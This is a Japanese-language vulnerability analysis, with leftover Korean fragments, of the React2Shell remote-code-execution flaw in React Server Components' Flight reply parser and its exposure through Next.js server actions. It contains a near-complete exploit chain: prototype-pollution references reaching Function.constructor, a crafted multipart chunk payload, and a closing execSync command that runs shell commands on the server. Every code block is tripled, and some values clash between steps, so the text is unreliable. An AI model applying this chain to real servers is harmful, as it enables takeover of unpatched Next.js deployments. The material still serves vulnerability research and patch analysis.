Diff Analysis (差分分析)

まず、脆弱性の原因を分析する前に、該当するReact2Shell脆弱性はGitHubのfacebook/reactリポジトリの7dc903cコミット(GitHub Commit)を通じてパッチされた。このコミットを通じて修正された内容のうち、Flight ProtocolおよびPrototypeに関連する修正はpackages/react-server/src/ReactFlightReplyServer.jsで行われた。

caption - ReactFlightReplyServer.jsにおけるgetOutlinedModel関数の実装内でのプロパティ値の検証追加

Processing Flight Protocol - RSCの最初のゲートウェイ

react-serverに渡されたFlight Protocolデータのうち、getOutlinedModel関数が呼び出される場合は、ReactFlightReplyServer.jsの以下のような関数呼び出しに沿って前処理される。

• initializeModelChunk()：Flight Protocol要求発生時の初期Chunk初期化

• reviveModel()：要求データからModelの復元

• parseModelString()：文字列データからModelの作成（逆シリアル化）

• getOutlinedModel()：逆シリアル化の過程で発生するChunk Referenceの処理

Raw Chunk Reference

前述のFlight Protocol概要において、$@0のような表現はChunk 0に対するReferenceであると説明した。実際にこの実装に関して、parseModelString()関数を見てみると以下のようになっている。(ReactFlightReplyServer.js:929)

case '@': {
  // Promise
  const id = parseInt(value.slice(2), 16);
  const chunk = getChunk(response, id);
  return chunk;
}

case '@': {
  // Promise
  const id = parseInt(value.slice(2), 16);
  const chunk = getChunk(response, id);
  return chunk;
}

case '@': {
  // Promise
  const id = parseInt(value.slice(2), 16);
  const chunk = getChunk(response, id);
  return chunk;
}

@から始まるReferenceについては、Chunk Promise自体を取得して返すRaw referenceとして実装されている。これにより、Promiseに対する参照を取得できる。（CAUSE #1）

Unserialize & Prototype Pollution - Chunkの本質へ

脆弱性パッチが行われる直前のコミットにおけるgetOutlinedModel()関数の実装は以下の通りである。(ReactFlightReplyServer.js:595)

function getOutlinedModel<T>(
  response: Response,
  reference: string,
  parentObject: Object,
  key: string,
  map: (response: Response, model: any) => T,
): T {
  const path = reference.split(':');
  const id = parseInt(path[0], 16);
  const chunk = getChunk(response, id);
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  // The status might have changed after initialization.
  switch (chunk.status) {
    case INITIALIZED:
      let value = chunk.value;
      for (let i = 1; i < path.length; i++) {
        value = value[path[i]];
      }
      return map(response, value);
  /* (후략) */

function getOutlinedModel<T>(
  response: Response,
  reference: string,
  parentObject: Object,
  key: string,
  map: (response: Response, model: any) => T,
): T {
  const path = reference.split(':');
  const id = parseInt(path[0], 16);
  const chunk = getChunk(response, id);
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  // The status might have changed after initialization.
  switch (chunk.status) {
    case INITIALIZED:
      let value = chunk.value;
      for (let i = 1; i < path.length; i++) {
        value = value[path[i]];
      }
      return map(response, value);
  /* (후략) */

function getOutlinedModel<T>(
  response: Response,
  reference: string,
  parentObject: Object,
  key: string,
  map: (response: Response, model: any) => T,
): T {
  const path = reference.split(':');
  const id = parseInt(path[0], 16);
  const chunk = getChunk(response, id);
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  // The status might have changed after initialization.
  switch (chunk.status) {
    case INITIALIZED:
      let value = chunk.value;
      for (let i = 1; i < path.length; i++) {
        value = value[path[i]];
      }
      return map(response, value);
  /* (후략) */

該当関数においてchunk.statusがINITIALIZEDの場合、reference.split(':')で取得したpathをもとにvalue内のメンバに順次参照を続けていくことが確認できる。この過程において、hasOwnPropertyのような検証が存在しないため、__proto__メンバを介したPrototype Pollutionが可能となる。（CAUSE #2）

例えば、reference式が$1:__proto__:aaaのような場合、1番目のChunkのPrototypeのaaaというメンバを参照することになる。

このとき、もし1番目のChunkが前述の$@0、すなわちPromise型のオブジェクトであれば、$1:__proto__は(Chunk0).__proto__を表すことになり、結果としてChunk.prototypeへのアクセスが可能であることを意味する。

CAUSE #1とCAUSE #2により、攻撃者はChunk.prototypeにアクセスできるようになる。（PRIMITIVE #1）

Chunk.prototype - initializeModelChunkを再び稼働させる

PRIMITIVE #1を介して取得したChunk.prototypeに関する情報もまた、同様にReactFlightReplyServer.jsファイル内にあることが確認できる。(ReactFlightReplyServer.js:125)

Chunk.prototype = (Object.create(Promise.prototype): any);
// TODO: This doesn't return a new Promise chain unlike the real .then
Chunk.prototype.then = function <T>(
  this: SomeChunk<T>,
  resolve: (value: T) => mixed,
  reject: (reason: mixed) => mixed,
) {
  const chunk: SomeChunk<T> = this;
  // If we have resolved content, we try to initialize it first which
  // might put us back into one of the other states.
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  // The status might have changed after initialization.
  switch (chunk.status) {
    case INITIALIZED:
      resolve(chunk.value);
      break;
    case PENDING:
    case BLOCKED:
    case CYCLIC:
      if (resolve) {
        if (chunk.value === null) {
          chunk.value = ([]: Array<(T) => mixed>);
        }
        chunk.value.push(resolve);
      }
      if (reject) {
        if (chunk.reason === null) {
          chunk.reason = ([]: Array<(mixed) => mixed>);
        }
        chunk.reason.push(reject);
      }
      break;
    default:
      reject(chunk.reason);
      break;
  }
};

Chunk.prototype = (Object.create(Promise.prototype): any);
// TODO: This doesn't return a new Promise chain unlike the real .then
Chunk.prototype.then = function <T>(
  this: SomeChunk<T>,
  resolve: (value: T) => mixed,
  reject: (reason: mixed) => mixed,
) {
  const chunk: SomeChunk<T> = this;
  // If we have resolved content, we try to initialize it first which
  // might put us back into one of the other states.
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  // The status might have changed after initialization.
  switch (chunk.status) {
    case INITIALIZED:
      resolve(chunk.value);
      break;
    case PENDING:
    case BLOCKED:
    case CYCLIC:
      if (resolve) {
        if (chunk.value === null) {
          chunk.value = ([]: Array<(T) => mixed>);
        }
        chunk.value.push(resolve);
      }
      if (reject) {
        if (chunk.reason === null) {
          chunk.reason = ([]: Array<(mixed) => mixed>);
        }
        chunk.reason.push(reject);
      }
      break;
    default:
      reject(chunk.reason);
      break;
  }
};

Chunk.prototype = (Object.create(Promise.prototype): any);
// TODO: This doesn't return a new Promise chain unlike the real .then
Chunk.prototype.then = function <T>(
  this: SomeChunk<T>,
  resolve: (value: T) => mixed,
  reject: (reason: mixed) => mixed,
) {
  const chunk: SomeChunk<T> = this;
  // If we have resolved content, we try to initialize it first which
  // might put us back into one of the other states.
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  // The status might have changed after initialization.
  switch (chunk.status) {
    case INITIALIZED:
      resolve(chunk.value);
      break;
    case PENDING:
    case BLOCKED:
    case CYCLIC:
      if (resolve) {
        if (chunk.value === null) {
          chunk.value = ([]: Array<(T) => mixed>);
        }
        chunk.value.push(resolve);
      }
      if (reject) {
        if (chunk.reason === null) {
          chunk.reason = ([]: Array<(mixed) => mixed>);
        }
        chunk.reason.push(reject);
      }
      break;
    default:
      reject(chunk.reason);
      break;
  }
};

Chunkは基本的にはPromiseオブジェクトであり、.then()メソッドはthis.statusに応じて異なる動作に分岐されることが分かる。

一方で、PRIMITIVE #1を活用して$1:__proto__:thenを参照すると、chunkのあるプロパティをChunk.prototype.then関数にすることが可能となり、これによりthenという名前を持つプロパティがChunk.prototype.thenを指すように設定できるようになる。

{"then":"$1:__proto__:then", "status": "resolved_model", "value": "...", "_response": "..."}

{"then":"$1:__proto__:then", "status": "resolved_model", "value": "...", "_response": "..."}

{"then":"$1:__proto__:then", "status": "resolved_model", "value": "...", "_response": "..."}

上の例のようにChunkが設定された場合、thenは実際にはChunk.prototype.thenであり、then内でのthis.statusはresolved_modelであるため、もしこのチャンク（実際にはPromise）をresolveすることさえできれば、攻撃者は任意のinitializeModelChunk関数呼び出しを実行できるようになる。（PRIMITIVE #2）

initializeModelChunk - もう一度

PRIMITIVE #2を利用することで、攻撃者は完全に制御可能な（fully-controllable）値を用いてinitializeModelChunk関数を再度呼び出すことができる。該当関数の実装は以下の通りである。(ReactFlightReplyServer.js:446)

function initializeModelChunk<T>(chunk: ResolvedModelChunk<T>): void {
  const prevChunk = initializingChunk;
  const prevBlocked = initializingChunkBlockedModel;
  initializingChunk = chunk;
  initializingChunkBlockedModel = null;
  
  const rootReference =
    chunk.reason === -1 ? undefined : chunk.reason.toString(16);

  const resolvedModel = chunk.value;

  // We go to the CYCLIC state until we've fully resolved this.
  // We do this before parsing in case we try to initialize the same chunk
  // while parsing the model. Such as in a cyclic reference.
  const cyclicChunk: CyclicChunk<T> = (chunk: any);
  cyclicChunk.status = CYCLIC;
  cyclicChunk.value = null;
  cyclicChunk.reason = null;

  try {
    const rawModel = JSON.parse(resolvedModel);

    const value: T = reviveModel(
      chunk._response,
      {'': rawModel},
      '',
      rawModel,
      rootReference,
    );

function initializeModelChunk<T>(chunk: ResolvedModelChunk<T>): void {
  const prevChunk = initializingChunk;
  const prevBlocked = initializingChunkBlockedModel;
  initializingChunk = chunk;
  initializingChunkBlockedModel = null;
  
  const rootReference =
    chunk.reason === -1 ? undefined : chunk.reason.toString(16);

  const resolvedModel = chunk.value;

  // We go to the CYCLIC state until we've fully resolved this.
  // We do this before parsing in case we try to initialize the same chunk
  // while parsing the model. Such as in a cyclic reference.
  const cyclicChunk: CyclicChunk<T> = (chunk: any);
  cyclicChunk.status = CYCLIC;
  cyclicChunk.value = null;
  cyclicChunk.reason = null;

  try {
    const rawModel = JSON.parse(resolvedModel);

    const value: T = reviveModel(
      chunk._response,
      {'': rawModel},
      '',
      rawModel,
      rootReference,
    );

function initializeModelChunk<T>(chunk: ResolvedModelChunk<T>): void {
  const prevChunk = initializingChunk;
  const prevBlocked = initializingChunkBlockedModel;
  initializingChunk = chunk;
  initializingChunkBlockedModel = null;
  
  const rootReference =
    chunk.reason === -1 ? undefined : chunk.reason.toString(16);

  const resolvedModel = chunk.value;

  // We go to the CYCLIC state until we've fully resolved this.
  // We do this before parsing in case we try to initialize the same chunk
  // while parsing the model. Such as in a cyclic reference.
  const cyclicChunk: CyclicChunk<T> = (chunk: any);
  cyclicChunk.status = CYCLIC;
  cyclicChunk.value = null;
  cyclicChunk.reason = null;

  try {
    const rawModel = JSON.parse(resolvedModel);

    const value: T = reviveModel(
      chunk._response,
      {'': rawModel},
      '',
      rawModel,
      rootReference,
    );

このとき、攻撃者はresolvedModelの値を完全にコントロールできるため、任意のJSONオブジェクトを用いてreviveModel関数を呼び出すことが可能となる。また、chunk._responseも 同様にinitializeModelChunk()呼び出しプロセスの段階から操作可能な値であったため、PRIMITIVE #2は任意のreviveModel関数呼び出しへと還元される。

reviveModel - Blob

reviveModel()関数は従来通り、内部的にparseModelString()を呼び出す。このparseModelString()内には以下のように、Blobデータを処理するロジックが存在する。(ReactFlightReplyServer.js:446)

  case 'B': {
    // Blob
    const id = parseInt(value.slice(2), 16);
    const prefix = response._prefix;
    const blobKey = prefix + id;
    // We should have this backingEntry in the store already because we emitted
    // it before referencing it. It should be a Blob.
    const backingEntry: Blob = (response._formData.get(blobKey): any);
    return backingEntry;
  }

  case 'B': {
    // Blob
    const id = parseInt(value.slice(2), 16);
    const prefix = response._prefix;
    const blobKey = prefix + id;
    // We should have this backingEntry in the store already because we emitted
    // it before referencing it. It should be a Blob.
    const backingEntry: Blob = (response._formData.get(blobKey): any);
    return backingEntry;
  }

  case 'B': {
    // Blob
    const id = parseInt(value.slice(2), 16);
    const prefix = response._prefix;
    const blobKey = prefix + id;
    // We should have this backingEntry in the store already because we emitted
    // it before referencing it. It should be a Blob.
    const backingEntry: Blob = (response._formData.get(blobKey): any);
    return backingEntry;
  }

この際、コードブロックで参照しているresponseが、攻撃者が操作可能な値であることを考慮すれば、最終的にblobKeyもまた、(希望する文字列) || (任意の整数)の形で操作可能であり、response._formData.getも同様に適当な値に操作可能である。

response._formData.getは呼び出し可能な関数である必要があるため、CAUSE #1を思い起こして応用することができる。

上記のように$1:constructor:constructorがFunction.constructorとなるため、以下のようなchunkを構成すれば、Function.constructorを活用した任意の関数の作成およびvalueへの割り当てが可能となる。

{
  "_response": {
    "_formData": {
      "get": "$1:constructor:constructor"
    },
    "_prefix": "console.log(1);//"
  },
  "value": "{\\"then\\": \\"$B1\\"}"
}

{
  "_response": {
    "_formData": {
      "get": "$1:constructor:constructor"
    },
    "_prefix": "console.log(1);//"
  },
  "value": "{\\"then\\": \\"$B1\\"}"
}

{
  "_response": {
    "_formData": {
      "get": "$1:constructor:constructor"
    },
    "_prefix": "console.log(1);//"
  },
  "value": "{\\"then\\": \\"$B1\\"}"
}

上記の_responseがBlobを通じて処理されるとみなすと、最終的にFunction.constructor("console.log(1337);//1")関数が返されることになり、最終的には以下のような構造になる。

{
  "value": {
    "then": Function() {
      console.log(1);//1
    }
  }
}

{
  "value": {
    "then": Function() {
      console.log(1);//1
    }
  }
}

{
  "value": {
    "then": Function() {
      console.log(1);//1
    }
  }
}

すなわち、ここで攻撃者は任意のJavaScript関数を作成することができ、さらにvalue自体を、thenを関数として持つThenableに構築することが可能となる。

また、再びChunk.prototype.then()関数に戻ってみると、

Chunk.prototype.then = function <T>(
  this: SomeChunk<T>,
  resolve: (value: T) => mixed,
  reject: (reason: mixed) => mixed,
) {
  const chunk: SomeChunk<T> = this;
  // If we have resolved content, we try to initialize it first which
  // might put us back into one of the other states.
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  // The status might have changed after initialization.
  switch (chunk.status) {
    case INITIALIZED:
      resolve(chunk.value);

Chunk.prototype.then = function <T>(
  this: SomeChunk<T>,
  resolve: (value: T) => mixed,
  reject: (reason: mixed) => mixed,
) {
  const chunk: SomeChunk<T> = this;
  // If we have resolved content, we try to initialize it first which
  // might put us back into one of the other states.
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  // The status might have changed after initialization.
  switch (chunk.status) {
    case INITIALIZED:
      resolve(chunk.value);

Chunk.prototype.then = function <T>(
  this: SomeChunk<T>,
  resolve: (value: T) => mixed,
  reject: (reason: mixed) => mixed,
) {
  const chunk: SomeChunk<T> = this;
  // If we have resolved content, we try to initialize it first which
  // might put us back into one of the other states.
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  // The status might have changed after initialization.
  switch (chunk.status) {
    case INITIALIZED:
      resolve(chunk.value);

先ほどBlobが処理されたinitializeModelChunk呼び出しが終わり、valueはthenを攻撃者が作成した任意関数として持っているThenableであるため、resolve(chunk.value)の行で任意のJavaScript関数が実行されることになる。（PRIMITIVE #3）

Sum Everything, Next Resolves Everything

現時点で、攻撃者が獲得したPrimitiveにどのような情報が含まれているかを再整理する必要がある。

PRIMITIVE #1 => Chunk.prototype 에 대한 접근
PRIMITIVE #2 => (resolve 될 때) Fully-Controllable 한 `initializeModelChunk` 호출
PRIMITIVE #3 => 임의의 Function 생성 및 실행

PRIMITIVE #1 => Chunk.prototype 에 대한 접근
PRIMITIVE #2 => (resolve 될 때) Fully-Controllable 한 `initializeModelChunk` 호출
PRIMITIVE #3 => 임의의 Function 생성 및 실행

PRIMITIVE #1 => Chunk.prototype 에 대한 접근
PRIMITIVE #2 => (resolve 될 때) Fully-Controllable 한 `initializeModelChunk` 호출
PRIMITIVE #3 => 임의의 Function 생성 및 실행

どのような形であれ、Chunkのthenが最初にresolveされさえすれば、PRIMITIVE #2からPRIMITIVE #3へと繋がって任意の関数呼び出しが可能となる。

攻撃者のChunkが以下のように構成されていると仮定しよう。

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "value": "{\\"then\\": \\"$B1\\"}",
  "_response": {
    "_formData": {
      "get": "$1:constructor:constructor"
    },
    "_prefix": "console.log(1);//"
  }
}

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "value": "{\\"then\\": \\"$B1\\"}",
  "_response": {
    "_formData": {
      "get": "$1:constructor:constructor"
    },
    "_prefix": "console.log(1);//"
  }
}

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "value": "{\\"then\\": \\"$B1\\"}",
  "_response": {
    "_formData": {
      "get": "$1:constructor:constructor"
    },
    "_prefix": "console.log(1);//"
  }
}

このように構成されている場合、thenが正常に呼び出されさえすれば、以下の流れに沿ってサーバーサイド（Server-side）での任意コード実行が可能となる。

1. .then()がChunk.prototype.thenであるため、全体をthisとしてthenが実行される

2. value = JSON.parse("{\\"then\\": \\"$B1\\"}")を用いて、reviveModelが呼び出される

3. reviveModelのプロセスにおいて、$B1337はFunction.constructor("console.log(1);//1")に設定される

4. valueのthenが再呼び出しされる ⇒ Function.constructor("console.log(1);//1")()が呼び出される

5. _response._prefixに含まれる任意のJavaScriptが実行される

Reactを採用する代表的なフレームワークであるNext.jsを調べてみると、Next-Actionヘッダーが送信された際に実行されるaction handlerに、以下のようなコードが存在する。(action-handler.ts:879)

boundActionArguments = await decodeReplyFromBusboy(
                busboy,
                serverModuleMap,
                { temporaryReferences }
              )

boundActionArguments = await decodeReplyFromBusboy(
                busboy,
                serverModuleMap,
                { temporaryReferences }
              )

boundActionArguments = await decodeReplyFromBusboy(
                busboy,
                serverModuleMap,
                { temporaryReferences }
              )

この時、decodeReplyFromBusboy関数は、multipart/form-data形式のリクエストに対して処理を行い、chunkを返す関数である。

exports.decodeReplyFromBusboy = function (
      busboyStream,
      webpackMap,
      options
    ) {
      var response = createResponse(
          webpackMap, //bundlerConfig
          "", // formFieldPrefix
          options ? options.temporaryReferences : void 0 //temporaryReferences
        ),
        pendingFiles = 0,
        queuedFields = [];
      busboyStream.on("field", function (name, value) {
        if (0 < pendingFiles) queuedFields.push(name, value);
        else
          try {
            resolveField(response, name, value);
          } catch (error) {
            busboyStream.destroy(error);
          }
      });
      //.. 생략..
      busboyStream.on("finish", function () {
        close(response);
      });
      busboyStream.on("error", function (err) {
        reportGlobalError(response, err);
      });
      return getChunk(response, 0);
    };

exports.decodeReplyFromBusboy = function (
      busboyStream,
      webpackMap,
      options
    ) {
      var response = createResponse(
          webpackMap, //bundlerConfig
          "", // formFieldPrefix
          options ? options.temporaryReferences : void 0 //temporaryReferences
        ),
        pendingFiles = 0,
        queuedFields = [];
      busboyStream.on("field", function (name, value) {
        if (0 < pendingFiles) queuedFields.push(name, value);
        else
          try {
            resolveField(response, name, value);
          } catch (error) {
            busboyStream.destroy(error);
          }
      });
      //.. 생략..
      busboyStream.on("finish", function () {
        close(response);
      });
      busboyStream.on("error", function (err) {
        reportGlobalError(response, err);
      });
      return getChunk(response, 0);
    };

exports.decodeReplyFromBusboy = function (
      busboyStream,
      webpackMap,
      options
    ) {
      var response = createResponse(
          webpackMap, //bundlerConfig
          "", // formFieldPrefix
          options ? options.temporaryReferences : void 0 //temporaryReferences
        ),
        pendingFiles = 0,
        queuedFields = [];
      busboyStream.on("field", function (name, value) {
        if (0 < pendingFiles) queuedFields.push(name, value);
        else
          try {
            resolveField(response, name, value);
          } catch (error) {
            busboyStream.destroy(error);
          }
      });
      //.. 생략..
      busboyStream.on("finish", function () {
        close(response);
      });
      busboyStream.on("error", function (err) {
        reportGlobalError(response, err);
      });
      return getChunk(response, 0);
    };

つまり、上記のChunkがmultipart/form-data形式で提供された場合、decodeReplyFromBusboy関数はchunkを解析した後に以下のchunkを返すことになる。

{
  "then": Chunk.prototype.then,
  "status": "resolved_model",
  "value": "{\\"then\\": \\"$B1\\"}",
  "_response": {
    "_formData": {
      "get": Chunk.constructor.constructor
    },
    "_prefix": "console.log(1);//"
  }
}

{
  "then": Chunk.prototype.then,
  "status": "resolved_model",
  "value": "{\\"then\\": \\"$B1\\"}",
  "_response": {
    "_formData": {
      "get": Chunk.constructor.constructor
    },
    "_prefix": "console.log(1);//"
  }
}

{
  "then": Chunk.prototype.then,
  "status": "resolved_model",
  "value": "{\\"then\\": \\"$B1\\"}",
  "_response": {
    "_formData": {
      "get": Chunk.constructor.constructor
    },
    "_prefix": "console.log(1);//"
  }
}

この時、このオブジェクトはthenメンバが存在し、かつFunctionであるため、JavaScriptで規定されるThenableとなる。(MDN - Thenable)

したがって、最初のChunk.prototype.thenを介して、status、value、_responseが完全にセットアップされた2回目のinitializeModelChunkが呼び出されることになり、最終的にはconsole.log(1)のコード実行まで繋がることになる。

この際実行されるJavaScriptコードは、クライアントサイド（Client-side）ではなく、サーバー上でnode.jsを介して実行されるコードであるため、攻撃者はprocess.mainModule.require('child_process').execSync('id > /tmp/test');のようなコードを構築し、サーバー上で任意のコード実行が可能となる。